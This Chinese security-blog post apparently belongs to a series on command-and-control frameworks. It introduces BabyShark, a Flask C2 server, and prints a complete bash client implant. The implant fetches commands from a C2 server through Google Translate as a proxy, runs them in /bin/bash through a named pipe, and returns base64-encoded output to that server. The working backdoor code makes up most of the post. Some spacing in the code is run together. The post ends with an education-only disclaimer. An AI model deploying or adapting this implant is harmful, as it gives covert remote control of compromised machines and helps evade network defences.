C2Matrix - BabyShark(八)

admin 2025年6月8日08:32:46评论2 views字数 2125阅读7分5秒阅读模式

这是一个用 Python 和 Flask 编写的基本 C2 通用服务器。该代码的理念基于GTRS,它使用谷歌翻译作为代理向受感染主机发送命令。BabyShark 项目旨在通过代理集中管理反向连接,从而创建一种将多种类型的连接集中到一处的方法。

C2Matrix - BabyShark(八)
这是来自 GTRS 的用于连接到 BabyShark 的客户端示例:
#!/bin/bash
if [[ $# < 2 ]];thenecho -e "ErrornExecute: $0 www.c2server.com secretkey-provided-by-the-servern"exitfi
running=truesecretkey="b4bysh4rk"user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"data="Content-Hype: "c2server="http://babyshark/momyshark?key=$secretkey"result=""input="/tmp/input"output="/tmp/output"
functionnamedpipe(){rm"$input""$output"mkfifo"$input"tail -f "$input" | /bin/bash 2>&1 > $output &}
functiongetfirsturl(){  url="https://translate.google.com/translate?&anno=2&u=$c2server"  first=$(curl --silent "$url" -H "$user_agent" | xmllint --html --xpath '//iframe/@src' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g' )
functiongetsecondurl(){  second=$(curl --silent -L "$first" -H "$user_agent"  | xmllint --html --xpath '//a/@href' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g')}
functiongetcommand(){if [[ "$result" ]];thencommand=$(curl -L --silent $second -H "$result" )elsecommand=$(curl -L --silent $second -H "$user_agent" )
    command1=$(echo"$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null)    command2=$(echo"$command" | xmllint --html --xpath '/html/body/main/div/div/div/div/ul/li/span/text()' - 2>/dev/null )if [[ "$command1" ]];thencommand="$command1"elsecommand="$command2"fifi}
functiontalktotranslate(){  getfirsturl  getsecondurl  getcommand}
functionmain(){  result=""sleep 10  talktotranslateif [[ "$command" ]];thenif [[ "$command" == "exit" ]];then      running=falsefiecho$commandecho -n > $output    idcommand=$(echo$command | cut -d '#' -f2)echo"$command" > "$input"sleep 2    outputb64=$(cat$output | tr -d '00'  | base64 | tr -d 'n'  2>/dev/null)if [[ "$outputb64" ]];then      result="$user_agent | $outputb64 | $idcommand "      talktotranslatefifi}
namedpipewhile"$running";do  maindone
必须注意的是,该仅用于教育和研究目的,任何未经授权的使用都可能导致法律后果。

原文始发于微信公众号(TtTeam):C2Matrix - BabyShark(八)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月8日08:32:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   C2Matrix - BabyShark(八)https://cn-sec.com/archives/4145853.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息